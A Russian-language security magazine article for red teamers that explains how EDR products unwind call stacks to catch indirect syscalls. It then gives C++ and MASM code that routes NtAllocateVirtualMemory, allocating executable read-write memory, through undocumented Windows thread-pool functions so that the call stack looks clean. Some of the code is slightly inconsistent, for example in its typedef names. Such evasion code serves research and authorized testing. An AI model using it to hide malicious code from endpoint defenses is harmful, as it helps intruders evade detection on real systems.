Все чаще сис­темы EDR ста­ли при­бегать к такой могучей тех­нике, как трас­сиров­ка сте­ка вызовов, что­бы обна­ружи­вать деятель­ность злов­редных при­ложе­ний и пор­тить жизнь ред­тимерам. В этой статье я рас­ска­жу, как работа­ет этот метод, а потом поп­робу­ем сыг­рать в прят­ки с EDR и выз­вать NTAPI так, что­бы даже рас­крут­ка сте­ка не обна­ружи­ла под­воха.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Как устроены WinAPI Indirect Calls

За­чем изоб­ретать что‑то новое, если есть такая тех­ника, как Indirect Calls для вызовов WinAPI? У нее есть свои силь­ные сто­роны, она прос­та в реали­зации и хорошо докумен­тирова­на. В двух сло­вах напом­ню, в чем ее суть.

Indirect Syscalls вызыва­ет NTAPI не нап­рямую через ntdll.dll, а через собс­твен­ный код, который эму­лиру­ет вызов фун­кции NTAPI: фор­миру­ется стек аргу­мен­тов, в eax заносит­ся номер сис­темно­го сер­виса для его вызова, далее выпол­няет­ся переход по адре­су инс­трук­ции syscall в самой ntdll.dll. Вот условный код:

// Ранее сформирован стек аргументов, далее сам вызов WinAPI из ntdll.dll
mov r10, rcx
mov eax, <syscall_number>
jmp <address_of_syscall_instruction_in_ntdll>

Со сто­роны выг­лядит хорошо, и это работа­ло, пока EDR не научи­лись исполь­зовать трас­сиров­ку событий ETW для рас­крут­ки сис­темно­го сте­ка вызовов. Все дело в том, что тех­ника Indirect Syscalls поз­воля­ет избе­жать детек­тирова­ния на уров­не поль­зователь­ско­го режима, но оставля­ет сле­ды в сте­ке вызовов. EDR может ана­лизи­ровать стек, рас­кру­чивая его, и обна­ружи­вать эти ано­малии.

 

Стек, фреймы и EDR

Для даль­нейше­го понима­ния при­дет­ся нем­ного пог­рузить­ся в мат­часть и понять, как фор­миру­ются и работа­ют сте­ковые фрей­мы. Сте­ковый фрейм (или кадр сте­ка) — это область памяти в сте­ке, выделя­емая для выпол­нения каж­дой фун­кции в прог­рамме. Он содер­жит такие дан­ные, как парамет­ры фун­кции, локаль­ные перемен­ные, зна­чения регис­тров, адрес воз­вра­та. Прос­той при­мер кода:

void func1() {
int x = 10;
func2(x);
...
...
}
void func2(int y) {
int z = y + 5;
}

При вызове func2(x) будет сфор­мирован фрейм:

  • RSP — перемен­ная z;
  • RBP — базовый ука­затель пре­дыду­щего фрей­ма;
  • RBP + 8 — ука­затель на сле­дующую инс­трук­цию в func1() (адрес воз­вра­та);
  • RBP + 16 — параметр фун­кции func2.

Про­дол­жение статьи дос­тупно толь­ко прод­писчи­кам

Итак, ста­ло ясно, что сте­ковые фрей­мы фор­миру­ются при вызове каж­дой фун­кции и содер­жат мас­су полез­ной информа­ции, в том чис­ле ука­затель на пре­дыду­щий фрейм (счи­тай, фун­кцию). Имен­но так EDR и раз­ворачи­вают поток управле­ния, если замеча­ют подоз­ритель­ное поведе­ние в сис­теме. Как ты понима­ешь, про­тив этой тех­ники обна­руже­ния не спа­сут популяр­ные методы обфуска­ции вызовов WinAPI, но мы поп­робу­ем под­делать фрейм, что­бы обма­нуть EDR.

info

Event Tracing for Windows (ETW) — это тех­нология, встро­енная в Windows, которая поз­воля­ет собирать и записы­вать дан­ные о событи­ях из раз­личных сис­темных ком­понен­тов и при­ложе­ний. ETW пре­дос­тавля­ет эффектив­ные средс­тва для телемет­рии, вклю­чая сбор информа­ции о сте­ке вызовов, что осо­бен­но полез­но для диаг­ности­ки, монито­рин­га про­изво­дитель­нос­ти и ана­лиза безопас­ности.

 

Как EDR наблюдает за стеком

Все дело в том, что EDR зна­ет, как дол­жен выг­лядеть стек при той или иной ситу­ации, и, если в его струк­туре наб­люда­ется откло­нение от нор­мы, сра­баты­вает алерт. Нап­ример, EDR про­веря­ет:

  • от­куда был выпол­нен переход к syscall. Если переход был выпол­нен из реги­она памяти, который не при­над­лежит ntdll.dll (нап­ример, куча или выделен­ная память), это счи­тает­ся ано­мали­ей;
  • пра­ва дос­тупа к реги­ону памяти, из которо­го был выпол­нен переход. Если реги­он име­ет пра­ва PAGE_EXECUTE_READWRITE, это может быть приз­наком кос­венно­го вызова или шелл‑кода;
  • ку­да вер­нется выпол­нение пос­ле завер­шения сис­темно­го вызова. Если воз­вра­щаемый адрес ука­зыва­ет на поль­зователь­скую память, это тоже счи­тает­ся ано­мали­ей.

Те­перь пос­мотрим, как выг­лядит пра­виль­ная с точ­ки зре­ния EDR струк­тура сте­ка вызовов при алло­кации памяти из поль­зователь­ско­го при­ложе­ния:

0x00007ffb`12345678 ntdll!NtAllocateVirtualMemory
0x00007ffb`12345555 kernel32!VirtualAlloc
0x00007ffb`12345432 MyProgram!Main

Здесь при­ложе­ние MyProgram из фун­кции main выделя­ет память при помощи VirtualAlloc, которая вызыва­ет NTAPI NtAllocateVirtualMemory из ntdll.dll. Что про­исхо­дит, если выпол­няет­ся руч­ной вызов NTAPI (собс­твен­норуч­ное фор­мирова­ние сте­ка и регис­тров для вызова)? Прог­рамма выпол­няет кос­венный вызов:

mov r10, rcx
// Номер NtAllocateVirtualMemory в сервисной таблице
mov eax, 0x18
// Вызов сискола по адресу в ntdll.dll
jmp 0x00007ffb`12345678

EDR зах­ватыва­ет стек вызовов:

0x00007ffb`12345678 ntdll!NtAllocateVirtualMemory
// Адрес в пользовательской памяти (где мы формировали аргументы), откуда был выполнен переход к сисколу внутри ntdll.dll
0x000001a3`45678901 [RX Region]
0x00007ffb`12345432 MyProgram!Main

Мы видим, что воз­вра­щаемый адрес ука­зыва­ет на ntdll.dll, но стек начина­ется из поль­зователь­ской памяти, — алерт!

Ока­зыва­ется, кос­венные вызовы не так слож­но обна­ружить, как мог­ло казать­ся. Что ж, будем при­думы­вать лекарс­тво!

 

Запускаем NTAPI без следов

В одной из пре­дыду­щих ста­тей я рас­ска­зывал об инъ­екции кода методом PoolParty, который исполь­зовал механизм Windows Thread Pools. Здесь я покажу вызов NTAPI при помощи того же механиз­ма. Надо ска­зать, что это не единс­твен­ный механизм Windows, при помощи которо­го мож­но прок­сировать вызовы NTAPI, но один из более‑менее изу­чен­ных.

Фун­кции TpAllocWork, TpPostWork и TpReleaseWork, которые нам инте­рес­ны, исполь­зуют­ся для управле­ния задача­ми в Windows Thread Pools. Эти фун­кции поз­воля­ют соз­давать, запус­кать и осво­бож­дать задачи, которые обра­баты­вают­ся пулом потоков Windows, что облегча­ет парал­лель­ное выпол­нение кода. Разуме­ется, эти фун­кции пол­ностью недоку­мен­тирован­ные и находят­ся в ntdll.dll. Их мы и исполь­зуем для вызова NTAPI в обход монито­рин­га сте­ка. Для это­го пос­мотрим на про­тоти­пы.

Фун­кция TpAllocWork соз­дает новое задание, которое может быть выпол­нено пулом потоков. При соз­дании задания нуж­но ука­зать кол­бэк‑фун­кцию, которая будет выпол­нена, ког­да пул потоков нач­нет обра­бот­ку это­го задания.

PTP_WORK TpAllocWork(
PTP_WORK_CALLBACK WorkCallback,
PVOID Context,
PTP_CALLBACK_ENVIRON CallbackEnviron
);

Па­рамет­ры:

  • WorkCallback — ука­затель на фун­кцию обратно­го вызова, которая будет выз­вана для выпол­нения задания;
  • Context — ука­затель на поль­зователь­ский кон­текст, который переда­ется в фун­кцию обратно­го вызова;
  • CallbackEnviron — ука­затель на струк­туру TP_CALLBACK_ENVIRON, которая нас­тра­ивает окру­жение для задания. Этот параметр может быть nullptr, что­бы исполь­зовать сре­ду по умол­чанию.

От­работав, TpAllocWork воз­вра­щает ука­затель на PTP_WORK (объ­ект работы пула потоков) при успе­хе или nullptr при ошиб­ке.

Да­лее идет фун­кция TpPostWork, которая ста­вит соз­данное задание в оче­редь пула потоков для выпол­нения. Эта фун­кция акти­виру­ет выпол­нение задания, соз­данно­го с помощью TpAllocWork.

void TpPostWork(
PTP_WORK Work
);

Единс­твен­ный параметр PTP_WORK Work — ука­затель на рабочий объ­ект пула потоков, который был соз­дан с помощью TpAllocWork.

Пос­ледняя фун­кция, TpReleaseWork, осво­бож­дает объ­ект задания. Она необ­ходима, что­бы осво­бодить ресур­сы, выделен­ные для задания, соз­данно­го с помощью TpAllocWork. Если задание находит­ся в оче­реди или выпол­няет­ся, вызов TpReleaseWork дож­дется завер­шения задания, а затем осво­бодит ресур­сы.

void TpReleaseWork(
PTP_WORK Work
);

Как и в пре­дыду­щей фун­кции, здесь все­го один аргу­мент — PTP_WORK Work.

Вы­зов API с при­мене­нием этих фун­кций будет фор­мировать­ся таким обра­зом:

typedef NTSTATUS(NTAPI* ALLOCWORK)(PTP_WORK* ptpWork, PTP_WORK_CALLBACK ptpCallback, PVOID arg, PTP_CALLBACK_ENVIRON CallbackEnv);
typedef VOID(NTAPI* POSTWORK)(PTP_WORK);
typedef VOID(NTAPI* RELEASEWORK)(PTP_WORK);
...
VOID MakeCall(PTP_WORK_CALLBACK work_callback, PVOID args) {
PTP_WORK ptpWork = NULL;
((TPALLOCWORK)ptr_TpAllocWork)(&ptpWork, (PTP_WORK_CALLBACK)work_callback, args, NULL);
((TPPOSTWORK)ptr_TpPostWork)(ptpWork);
((TPRELEASEWORK)ptr_TpReleaseWork)(ptpWork);
WaitForSingleObject((HANDLE)-1, 0x1000);
}

Здесь PTP_WORK_CALLBACK work_callback — ука­затель на ассем­блер­ную встав­ку, которая и сде­лает сам вызов NTAPI, а PVOID args — это пакет аргу­мен­тов вызыва­емой фун­кции.

Па­кет аргу­мен­тов фор­миру­ется в виде обыч­ной струк­туры, содер­жащей парамет­ры фун­кции. Неболь­шое исклю­чение — пер­вым аргу­мен­том в струк­туре будет ука­затель на NtAllocateVirtualMemory. На нашем при­мере это про­исхо­дит таким обра­зом:

// Структура аргументов
typedef struct _ZWALLOCATEVIRTUALMEMORY_ARG {
// Первый аргумент структуры указатель на функцию NtAllocateVirtualMemory
UINT_PTR pNtAllocateVirtualMemory;
HANDLE ProcessHandle;
PVOID* BaseAddress;
ULONG_PTR ZeroBits;
PSIZE_T RegionSize;
ULONG AllocationType;
ULONG Protect;
} ZWALLOCATEVIRTUALMEMORY_ARG, * PZWALLOCATEVIRTUALMEMORY_ARG;
...
PVOID NtAllocateVirtualMemory(HANDLE hProcess) {
PVOID alloc_addr = NULL;
SIZE_T alloc_size = 0x1000;
ZWALLOCATEVIRTUALMEMORY_ARG AllocateVirtualMemory_Arg = { 0 };
// Здесь получили указатель на NtAllocateVirtualMemory
AllocateVirtualMemory_Arg.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
AllocateVirtualMemory_Arg.ProcessHandle = hProcess;
AllocateVirtualMemory_Arg.BaseAddress = &alloc_addr;
AllocateVirtualMemory_Arg.ZeroBits = 0;
AllocateVirtualMemory_Arg.RegionSize = &alloc_size;
AllocateVirtualMemory_Arg.AllocationType = MEM_RESERVE;
AllocateVirtualMemory_Arg.Protect = PAGE_EXECUTE_READWRITE;
MakeCall((PTP_WORK_CALLBACK)NtAllocateVirtualMemoryCallback, &AllocateVirtualMemory_Arg);
return alloc_addr;
}

Сам work_callback написан на MASM, и его задача — раз­бирать аргу­мен­ты, фор­мировать стек для NtAllocateVirtualMemory и делать сам вызов фун­кции. В x64 аргу­мен­ты в фун­кцию переда­ются так: пер­вые четыре аргу­мен­та через регис­тры rcx, rdx, r8, r9, а если аргу­мен­тов боль­ше, то сле­дующие переда­ются через стек с при­мене­нием регис­тра rsp.

NtAllocateVirtualMemoryCallback proc
mov rbx, rdx
; Возьмем адрес NTAPI из структуры
mov rax, [rbx]
; Получим все оставшиеся ее аргументы
mov rcx, [rbx + 8]
mov rdx, [rbx + 10h]
xor r8, r8
mov r9, [rbx + 18h]
mov r10, [rbx + 20h]
mov [rsp + 30h], r10
mov r10, 1000h
mov [rsp + 28h], r10
; Сам вызов NtAllocateVirtualMemory
NtAllocateVirtualMemoryCallback endp
jmp rax

Не забыва­ем, что из кода на C++ фун­кцию ассем­бле­ра мож­но выз­вать, объ­явив ее при помощи extern в одном из заголов­ков.

extern "C" VOID CALLBACK NtAllocateVirtualMemoryCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);

Пос­ле это­го мож­но прос­то выз­вать NtAllocateVirtualMemory(HANDLE hProcess), и стек будет выг­лядеть пол­ностью чис­тым, потому что вызов фун­кции возь­мет на себя сам механизм Windows Thread Pools.

Ничто в стеке не указывает на нас
Нич­то в сте­ке не ука­зыва­ет на нас
 

Выводы

Се­год­ня ты узнал, что такое рас­крут­ка сте­ка, как она помога­ет обна­ружи­вать выпол­нение зло­наме­рен­ного кода и как мож­но этот механизм обна­руже­ния запутать. Что при­меча­тель­но, в этом слу­чае сама Windows помог­ла нам спра­вить­ся с обна­руже­нием. Мож­но ли этот метод счи­тать сереб­ряной пулей? Конеч­но, нет! Как толь­ко EDR ста­нут сле­дить за кол­бэками в инте­ресу­ющих ее фун­кци­ях, эта тай­на рас­кро­ется. Но, как и всег­да, борь­ба щита и меча про­дол­жает­ся!



  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии